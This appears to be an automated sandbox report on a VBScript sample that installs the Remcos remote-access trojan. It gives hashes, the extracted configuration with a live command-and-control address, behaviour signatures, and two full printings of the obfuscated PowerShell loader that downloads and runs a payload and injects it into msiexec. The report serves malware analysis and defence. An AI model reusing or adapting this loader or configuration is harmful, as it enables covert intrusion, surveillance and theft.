Analysis
-
max time kernel
148s -
max time network
126s -
platform
windows7_x64 -
resource
win7-20241010-en -
resource tags
arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system -
submitted
31-12-2024 08:32
Static task
static1
Behavioral task
behavioral1
Sample
heteronymous.vbs
Resource
win7-20241010-en
Behavioral task
behavioral2
Sample
heteronymous.vbs
Resource
win10v2004-20241007-en
General
-
Target
heteronymous.vbs
-
Size
71KB
-
MD5
fc612d46cca59534577f51b16710b323
-
SHA1
b65ef6cf8e46d38e2ab287f6584c8d456c36202d
-
SHA256
c43aa71f1636522145ea3e384b2546d5a589260cd7a2cc42688dda5944215b68
-
SHA512
33d74f868914c55269f10af4680500ddbcbd9968207180e160e92eb981c2140deea18b47d58ecb592437cc397c6e61853850752455b21acd2f7071e6755b1f7a
-
SSDEEP
1536:ggz3v5pA6TiWl+GJFQdGJVfYRFSlntJOEDy:ggj5aUie+oQwJ5YRECEDy
Malware Config
Extracted
remcos
RemoteHost
154.216.18.62:2404
-
audio_folder
MicRecords
-
audio_path
ApplicationPath
-
audio_record_time
5
-
connect_delay
0
-
connect_interval
1
-
copy_file
remcos.exe
-
copy_folder
Remcos
-
delete_file
false
-
hide_file
false
-
hide_keylog_file
false
-
install_flag
false
-
keylog_crypt
false
-
keylog_file
logs.dat
-
keylog_flag
false
-
keylog_folder
remcos
-
mouse_option
false
-
mutex
Rmc-D98D6X
-
screenshot_crypt
false
-
screenshot_flag
false
-
screenshot_folder
Screenshots
-
screenshot_path
%AppData%
-
screenshot_time
10
-
take_screenshot_option
false
-
take_screenshot_time
5
Signatures
-
Remcos family
-
Blocklisted process makes network request 5 IoCs
flow pid Process 5 2184 powershell.exe 7 2112 msiexec.exe 9 2112 msiexec.exe 10 2112 msiexec.exe 12 2112 msiexec.exe -
pid Process 2184 powershell.exe 2708 powershell.exe -
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
pid Process 2112 msiexec.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
pid Process 2708 powershell.exe 2112 msiexec.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language msiexec.exe -
Suspicious behavior: EnumeratesProcesses 3 IoCs
pid Process 2184 powershell.exe 2708 powershell.exe 2708 powershell.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
pid Process 2708 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 2184 powershell.exe Token: SeDebugPrivilege 2708 powershell.exe -
Suspicious use of WriteProcessMemory 11 IoCs
description pid Process procid_target PID 2388 wrote to memory of 2184 2388 WScript.exe 29 PID 2388 wrote to memory of 2184 2388 WScript.exe 29 PID 2388 wrote to memory of 2184 2388 WScript.exe 29 PID 2708 wrote to memory of 2112 2708 powershell.exe 34 PID 2708 wrote to memory of 2112 2708 powershell.exe 34 PID 2708 wrote to memory of 2112 2708 powershell.exe 34 PID 2708 wrote to memory of 2112 2708 powershell.exe 34 PID 2708 wrote to memory of 2112 2708 powershell.exe 34 PID 2708 wrote to memory of 2112 2708 powershell.exe 34 PID 2708 wrote to memory of 2112 2708 powershell.exe 34 PID 2708 wrote to memory of 2112 2708 powershell.exe 34
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\heteronymous.vbs"1⤵
- Suspicious use of WriteProcessMemory
PID:2388 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "echo $Alimentation; function Chirked($Hajji){$Forsorgslederne=4;$Xenos=$Forsorgslederne;do{$Lreanstalterne+=$Hajji[$Xenos];$Xenos+=5} until(!$Hajji[$Xenos])$Lreanstalterne}function Hypohyaline($banestrkning){ .($Elektriciteten) ($banestrkning)}$Crassitude=Chirked 'Bes nBoreE NeiTBipa.overW';$Crassitude+=Chirked 'Hob E ptobUnfeCfraglAl tiTeksEReban StjT';$Ruineringer=Chirked 'OplbMS inoBrynz utiambylforsl Pepa U i/';$Tikampens=Chirked 'B edTDuntlC tasNeop1 For2';$Trappeopgangen='Jan,[ NonNRa heAgriT Iag.PoetSsil e Ra RPre vNu.kIPredC ncoE ympMakrOVet,IFremNConttDobbMOve AHykenHem.aHe,sgGarre.itrrrefl] ase: Dra:SgdcS Feie UdtcSnabUKantrSgepiCapeTReenyRagopAl erInflo AksT UnboTinaCurfuoStanLSamv=Ernr$ScratHousIfarvkTipbAAffaMEurop S.keHngsnUdarS';$Ruineringer+=Chirked 'Over5Crul.Cell0 Ans P yc(C.xcW illi RepnIndidLakkoMasowTilrs rog MangN,aveT Kon Hemo1B oc0chir.Blat0 Sla;Strk isWAfkliUdt nSinu6Bomb4Vent;,obb Poinx il6Un r4 Tem;Jupe ForrEpopvTour:Tele1Mo,s3Trep1pil .Carb0 Liv)U.pr WallGUnsceParic SkukNonvoChem/Sauc2 Uci0Vrdi1Tand0Bro 0Kary1yngl0Pupp1Res TagsFIns iMat r IrieSubsffirmo nonxHvid/Exem1 rk3fodm1L,ge. O e0';$morgentaage=Chirked ' biluHypoSSproeTraeRGinh-Un ea DelgPreleAlr n Arbt';$Snyd=Chirked ' anehHjultA,ietAparpJacksudsl: rog/ Ops/GenbfSpidoPr,m2KiskxSammcSvig.Hin ichi cJvnguMa i/NonsyWismA,usivSupeXHin.CmonorFairQsnveD G u/ AtoMT areglyks Ya.tFingrresueCoaln TwidMesaeItab.Wunnt OveoTutsc';$Messieurs=Chirked 'Diss>';$Elektriciteten=Chirked 'DikiISanseFarbX';$Fungeres='Overfrsels';$Teleteknikken='\Mikadoerne124.Sty';Hypohyaline (Chirked ' urt$Dag,gSeisl.audo CosB R taAeroL.isa:Tm eIImprN O,etJag Uv ntidecoTProgI La O DirNA,greProdR ov.NSy eeInfosOct =Offc$ fskeSidenMin V pro:Fir.A Prep ForPS gidVa.saTalltDagnAment+Am,z$TindT HalEArmbLJeweELderTf,eee nankfysin ignITavikAd bKF geeKe ln');Hypohyaline (Chirked ' u s$ Ustg amblOceao.rilbPlanAsnowl C e:Che tPervHTappIUl mCEx,oK KreS ParEHetetR mm=Suff$Ly tsC cknS,miYMotodAnsv.BeamsLichp VanLMoniiNonrT A,a(Relo$ Hy,M RefERiskSAnakS Fa INaboEDuodUBe.eR Ma.sUlyk)');Hypohyaline (Chirked $Trappeopgangen);$Snyd=$thickset[0];$Antenners192=(Chirked 'P ys$ScugGKopulSt,gO BriBLaveaSuchlWilt:HvidnP ilOContNMellpUndeeOmherOraoc Je E.argPSensTMariIP isvHy.deK mpn ygESvens KlusProa= unNRickEFidiWAdsk-Fa kO SloBToppJPusleVgeaCAntitfor SikkSTrimYKerasSemitAcquEBr.mm Sha.Kart$ResucReoxRAareaGillsFadmsFil IMo.sT TauUU dgdTn,ee');Hypohyaline ($Antenners192);Hypohyaline (Chirked 'Halv$SerpN EyeoBimmn uttpS kkeChu rSkracMetaeFla,pInastBespi UnavB cye krnUkrneMachs rolsSemi.DrysHAntie K.eaHydrdMo.oe SalrF.easVi d[Aest$ TopmIncro Vi r LingSoeneperln,nsvtLandaMoseaThergGemoeG,mb] Reg= Sc.$ iddREddiu S aiAfgrnMisre PrerSamti GynnDepogFiskeSvalr');$Honorifical179=Chirked 'Clav$UnocN CuloRe in.vidpS.ape U sr CoucCalyeOddspPorctHydriHandvTilpeKompnIdoteret sKerssIvor.St rD Diso nsw ign Fo lkostoKaleaAffadAnsvFAbrai Re,l .ykeMult(Brin$ .miS CasnGramyUnmedNont,Unde$MegaSSiphpStereSkakcF krt AnerdenooTr,nf egrlNetvuIn eoLeisrmerki.alem.mpreTrekt.unde Ha,rKraf)';$Spectrofluorimeter=$Intuitionernes;Hypohyaline (Chirked ' Spu$UdkogUd ilBldgoSkarbBag.ATrkkLPubl:DummiBefobStore Spin FroHOlisoBesklEfteT ,haSByg FPa.nLta,ijBa,mTRefrELetuR PurN UnkEIn e2Co o0Supe1 yks=D.kk( suptKre.EsektsFo,fTSves- ndePb huablodtKlarHkara tak$EmposHosppNondEBudtCVandTPlanrs ibO uliF BolLdumpu SacO .inrSkdeIFrosMFr cEOvertCeroe Frur usl)');while (!$Ibenholtsfljterne201) {Hypohyaline (Chirked 'Hjae$Bryng A rlT nfo indb.emiaSmudl,ulg:NondiIsotnhibedRykksT,grk Lu yResed B enKo tiReinnre igG fteKr nnDebusSp d=Poly$P,ofANonipStadodroksE,fetend aBy ns RaniTr.ds.uto8Thr.9') ;Hypohyaline $Honorifical179;Hypohyaline (Chirked 'Ogh.S elltYmpnA MrkRGra tHete-Van s De.LUnfoEFjerEKbelpDdsd Allo4');Hypohyaline (Chirked ',jsk$SeriGEdgilUn uOFeltbIdolAGal lReda:SigniIndebCoune CapNA buHtrfooForbLHr vtOri sTri F UplL tupJStimtDe uE arrr ChaNw rmE Bra2Hagi0 ndk1Fast=Stra(UdbltRechEVestSs.idTTilb-VexipVikaaPa.lTHypohLes Ling$InvoS Malpwad,EPalaC PhaT IntrProloNotefAgt LAntiuunhuO Au.RDe.iIRenvm InteA.reT EufE SitRanti)') ;Hypohyaline (Chirked 'Imme$BadmGGasolBr mOSquibUdokaal eL s.o:ForgMFuglaVareT larAfsno AnkNEfte=Dist$BaraG,ediLAntiOl ndBPropaF rslSt.t: Kooi NonnoptitAdelEUpaarCub FSpreAGaricPatiT A,tICameOm.xon EliaSpecLJour+ O e+Bowl%Defe$ LarT BekHNedhiPlejC MarK IneSAmpuELnudTBag,. SencDi oO ammuTanaNLi eT') ;$Snyd=$thickset[$matron]}$Josines=293205;$Sensibiliseringens=30156;Hypohyaline (Chirked 'Opga$Drvag ubjl UdkoMazuBF jlABe pl oku: FanMHikkAUdrar Ko cP euiEfteODebin DisiOr,fTBe jIInfrc A r Frot=Arbe E,teG.setE ardT il-PallC Ko OMa.knPrect SkaeLoinnCrypt Kon Klap$S arsSk np BraEDiskc U sTSammrTapiOKny.fCos lErhvu Ateo mir HapIFlagMBortERefeT.elleSys,r');Hypohyaline (Chirked 'H rw$vaklgKrselChefo.helbFibeaVaadlSkal:OctaVBizouBrialJu,eg Maca EksrSuf,iF,kls nreU rirHerie.goidBunde ThesForl Ande= To Unun[AcidSStrayBa ns Bolt TileFejlmfuzz. nmeCOveroSal nFo,lv PlaeBl drTh atKurs]Inte:Inve:Un,eFG esrBalso AmtmHaemBSu eaBe,osOmkleWago6Ser,4InceS iptdromrSweei.uddnSunbg Cif(Tran$ MasMHm.gaOpinrTilecOn.uiBlegounspn Holi Al t NaniMa acAmts)');Hypohyaline (Chirked 'Aton$Bn sg DalLMalaOPalpbFutua egfLLder: mas,psinOberaD,mac VenKTrapSStu M on=Bu,b Imbr[C taSFortyAil,SO ertSavnEFlerm D c.KoncTInteEBaraxBrnetDrv ..ideE H lNPh,tcBehroUdmuDBetril.gaNBybeG Var]Slad: ,ac: F rALy.isWareC ,erInakni Sit.C rlG eneHalvtKr ksGrant ekgRundeiNoncNtringExpo( lai$Re oVBracuB ndLrowtG SkaAnrinR ogri UnwsTyskeObjurStume ,usdTillEPeriSUnel)');Hypohyaline (Chirked ' ca $ BilGEnkeLFremORho B P eaEk pL Thr: PresBli OC sevSeriE ebPLactUBestDPalae R.tnTaulS en= cha$TvrlSFremNEftea SkiCen,rKKnubSLens.Fls s elu PipBCo nsGardTManeR uctiDaahnC.oog,rek(Gero$Plu,jToffoEx,iSForeIBen n DexEHerrsF rm,Foul$ Sc S AccEStudnFo,kS Flai mskBHalvIEff lAfsliColeSamazENonmr TolITrvlNJoylgVeneE Disn ResSCapt)');Hypohyaline $Sovepudens;"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2184
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "echo $Alimentation; function Chirked($Hajji){$Forsorgslederne=4;$Xenos=$Forsorgslederne;do{$Lreanstalterne+=$Hajji[$Xenos];$Xenos+=5} until(!$Hajji[$Xenos])$Lreanstalterne}function Hypohyaline($banestrkning){ .($Elektriciteten) ($banestrkning)}$Crassitude=Chirked 'Bes nBoreE NeiTBipa.overW';$Crassitude+=Chirked 'Hob E ptobUnfeCfraglAl tiTeksEReban StjT';$Ruineringer=Chirked 'OplbMS inoBrynz utiambylforsl Pepa U i/';$Tikampens=Chirked 'B edTDuntlC tasNeop1 For2';$Trappeopgangen='Jan,[ NonNRa heAgriT Iag.PoetSsil e Ra RPre vNu.kIPredC ncoE ympMakrOVet,IFremNConttDobbMOve AHykenHem.aHe,sgGarre.itrrrefl] ase: Dra:SgdcS Feie UdtcSnabUKantrSgepiCapeTReenyRagopAl erInflo AksT UnboTinaCurfuoStanLSamv=Ernr$ScratHousIfarvkTipbAAffaMEurop S.keHngsnUdarS';$Ruineringer+=Chirked 'Over5Crul.Cell0 Ans P yc(C.xcW illi RepnIndidLakkoMasowTilrs rog MangN,aveT Kon Hemo1B oc0chir.Blat0 Sla;Strk isWAfkliUdt nSinu6Bomb4Vent;,obb Poinx il6Un r4 Tem;Jupe ForrEpopvTour:Tele1Mo,s3Trep1pil .Carb0 Liv)U.pr WallGUnsceParic SkukNonvoChem/Sauc2 Uci0Vrdi1Tand0Bro 0Kary1yngl0Pupp1Res TagsFIns iMat r IrieSubsffirmo nonxHvid/Exem1 rk3fodm1L,ge. O e0';$morgentaage=Chirked ' biluHypoSSproeTraeRGinh-Un ea DelgPreleAlr n Arbt';$Snyd=Chirked ' anehHjultA,ietAparpJacksudsl: rog/ Ops/GenbfSpidoPr,m2KiskxSammcSvig.Hin ichi cJvnguMa i/NonsyWismA,usivSupeXHin.CmonorFairQsnveD G u/ AtoMT areglyks Ya.tFingrresueCoaln TwidMesaeItab.Wunnt OveoTutsc';$Messieurs=Chirked 'Diss>';$Elektriciteten=Chirked 'DikiISanseFarbX';$Fungeres='Overfrsels';$Teleteknikken='\Mikadoerne124.Sty';Hypohyaline (Chirked ' urt$Dag,gSeisl.audo CosB R taAeroL.isa:Tm eIImprN O,etJag Uv ntidecoTProgI La O DirNA,greProdR ov.NSy eeInfosOct =Offc$ fskeSidenMin V pro:Fir.A Prep ForPS gidVa.saTalltDagnAment+Am,z$TindT HalEArmbLJeweELderTf,eee nankfysin ignITavikAd bKF geeKe ln');Hypohyaline (Chirked ' u s$ Ustg amblOceao.rilbPlanAsnowl C e:Che tPervHTappIUl mCEx,oK KreS ParEHetetR mm=Suff$Ly tsC cknS,miYMotodAnsv.BeamsLichp VanLMoniiNonrT A,a(Relo$ Hy,M RefERiskSAnakS Fa INaboEDuodUBe.eR Ma.sUlyk)');Hypohyaline (Chirked $Trappeopgangen);$Snyd=$thickset[0];$Antenners192=(Chirked 'P ys$ScugGKopulSt,gO BriBLaveaSuchlWilt:HvidnP ilOContNMellpUndeeOmherOraoc Je E.argPSensTMariIP isvHy.deK mpn ygESvens KlusProa= unNRickEFidiWAdsk-Fa kO SloBToppJPusleVgeaCAntitfor SikkSTrimYKerasSemitAcquEBr.mm Sha.Kart$ResucReoxRAareaGillsFadmsFil IMo.sT TauUU dgdTn,ee');Hypohyaline ($Antenners192);Hypohyaline (Chirked 'Halv$SerpN EyeoBimmn uttpS kkeChu rSkracMetaeFla,pInastBespi UnavB cye krnUkrneMachs rolsSemi.DrysHAntie K.eaHydrdMo.oe SalrF.easVi d[Aest$ TopmIncro Vi r LingSoeneperln,nsvtLandaMoseaThergGemoeG,mb] Reg= Sc.$ iddREddiu S aiAfgrnMisre PrerSamti GynnDepogFiskeSvalr');$Honorifical179=Chirked 'Clav$UnocN CuloRe in.vidpS.ape U sr CoucCalyeOddspPorctHydriHandvTilpeKompnIdoteret sKerssIvor.St rD Diso nsw ign Fo lkostoKaleaAffadAnsvFAbrai Re,l .ykeMult(Brin$ .miS CasnGramyUnmedNont,Unde$MegaSSiphpStereSkakcF krt AnerdenooTr,nf egrlNetvuIn eoLeisrmerki.alem.mpreTrekt.unde Ha,rKraf)';$Spectrofluorimeter=$Intuitionernes;Hypohyaline (Chirked ' Spu$UdkogUd ilBldgoSkarbBag.ATrkkLPubl:DummiBefobStore Spin FroHOlisoBesklEfteT ,haSByg FPa.nLta,ijBa,mTRefrELetuR PurN UnkEIn e2Co o0Supe1 yks=D.kk( suptKre.EsektsFo,fTSves- ndePb huablodtKlarHkara tak$EmposHosppNondEBudtCVandTPlanrs ibO uliF BolLdumpu SacO .inrSkdeIFrosMFr cEOvertCeroe Frur usl)');while (!$Ibenholtsfljterne201) {Hypohyaline (Chirked 'Hjae$Bryng A rlT nfo indb.emiaSmudl,ulg:NondiIsotnhibedRykksT,grk Lu yResed B enKo tiReinnre igG fteKr nnDebusSp d=Poly$P,ofANonipStadodroksE,fetend aBy ns RaniTr.ds.uto8Thr.9') ;Hypohyaline $Honorifical179;Hypohyaline (Chirked 'Ogh.S elltYmpnA MrkRGra tHete-Van s De.LUnfoEFjerEKbelpDdsd Allo4');Hypohyaline (Chirked ',jsk$SeriGEdgilUn uOFeltbIdolAGal lReda:SigniIndebCoune CapNA buHtrfooForbLHr vtOri sTri F UplL tupJStimtDe uE arrr ChaNw rmE Bra2Hagi0 ndk1Fast=Stra(UdbltRechEVestSs.idTTilb-VexipVikaaPa.lTHypohLes Ling$InvoS Malpwad,EPalaC PhaT IntrProloNotefAgt LAntiuunhuO Au.RDe.iIRenvm InteA.reT EufE SitRanti)') ;Hypohyaline (Chirked 'Imme$BadmGGasolBr mOSquibUdokaal eL s.o:ForgMFuglaVareT larAfsno AnkNEfte=Dist$BaraG,ediLAntiOl ndBPropaF rslSt.t: Kooi NonnoptitAdelEUpaarCub FSpreAGaricPatiT A,tICameOm.xon EliaSpecLJour+ O e+Bowl%Defe$ LarT BekHNedhiPlejC MarK IneSAmpuELnudTBag,. SencDi oO ammuTanaNLi eT') ;$Snyd=$thickset[$matron]}$Josines=293205;$Sensibiliseringens=30156;Hypohyaline (Chirked 'Opga$Drvag ubjl UdkoMazuBF jlABe pl oku: FanMHikkAUdrar Ko cP euiEfteODebin DisiOr,fTBe jIInfrc A r Frot=Arbe E,teG.setE ardT il-PallC Ko OMa.knPrect SkaeLoinnCrypt Kon Klap$S arsSk np BraEDiskc U sTSammrTapiOKny.fCos lErhvu Ateo mir HapIFlagMBortERefeT.elleSys,r');Hypohyaline (Chirked 'H rw$vaklgKrselChefo.helbFibeaVaadlSkal:OctaVBizouBrialJu,eg Maca EksrSuf,iF,kls nreU rirHerie.goidBunde ThesForl Ande= To Unun[AcidSStrayBa ns Bolt TileFejlmfuzz. nmeCOveroSal nFo,lv PlaeBl drTh atKurs]Inte:Inve:Un,eFG esrBalso AmtmHaemBSu eaBe,osOmkleWago6Ser,4InceS iptdromrSweei.uddnSunbg Cif(Tran$ MasMHm.gaOpinrTilecOn.uiBlegounspn Holi Al t NaniMa acAmts)');Hypohyaline (Chirked 'Aton$Bn sg DalLMalaOPalpbFutua egfLLder: mas,psinOberaD,mac VenKTrapSStu M on=Bu,b Imbr[C taSFortyAil,SO ertSavnEFlerm D c.KoncTInteEBaraxBrnetDrv ..ideE H lNPh,tcBehroUdmuDBetril.gaNBybeG Var]Slad: ,ac: F rALy.isWareC ,erInakni Sit.C rlG eneHalvtKr ksGrant ekgRundeiNoncNtringExpo( lai$Re oVBracuB ndLrowtG SkaAnrinR ogri UnwsTyskeObjurStume ,usdTillEPeriSUnel)');Hypohyaline (Chirked ' ca $ BilGEnkeLFremORho B P eaEk pL Thr: PresBli OC sevSeriE ebPLactUBestDPalae R.tnTaulS en= cha$TvrlSFremNEftea SkiCen,rKKnubSLens.Fls s elu PipBCo nsGardTManeR uctiDaahnC.oog,rek(Gero$Plu,jToffoEx,iSForeIBen n DexEHerrsF rm,Foul$ Sc S AccEStudnFo,kS Flai mskBHalvIEff lAfsliColeSamazENonmr TolITrvlNJoylgVeneE Disn ResSCapt)');Hypohyaline $Sovepudens;"1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2708 -
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe"2⤵
- Blocklisted process makes network request
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
PID:2112
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\90K4T6OSHIB3VMH3UHP3.temp
Filesize7KB
MD569188170c4eb223b16a309c5de7f8a19
SHA19c7ef01fa9dcc63a23b41546f7cade9a7d61f96a
SHA2561a07f75896df468660ef9f68de427182ad2fdc2acd8e632c56cc2859c04b16f9
SHA512a7b9423a1e9452e4eca8bae898c0951d308ba6c62dc1375257bd035126ceed9b7ceb659563cdf1dba9417c2dcff8f404b581cda62d82d5a647816c9481e857c6
-
Filesize
421KB
MD5832be69b2c71215bd426016cdcfe1b4e
SHA14737a05a74fd1832646630a8d3b128583f1e06b2
SHA256dbc17f5b483df2a4678fd5e5dfcbe82f6733d713c2cecec18b7e44a233626408
SHA512e61af16146ed617ff419f1df0648ccbb7d96ed486e3651df606b286817b8fe58cf67a7e8783245b3261af8ca08d08a9091d78f916e4f2e7ebe0ae1f573573180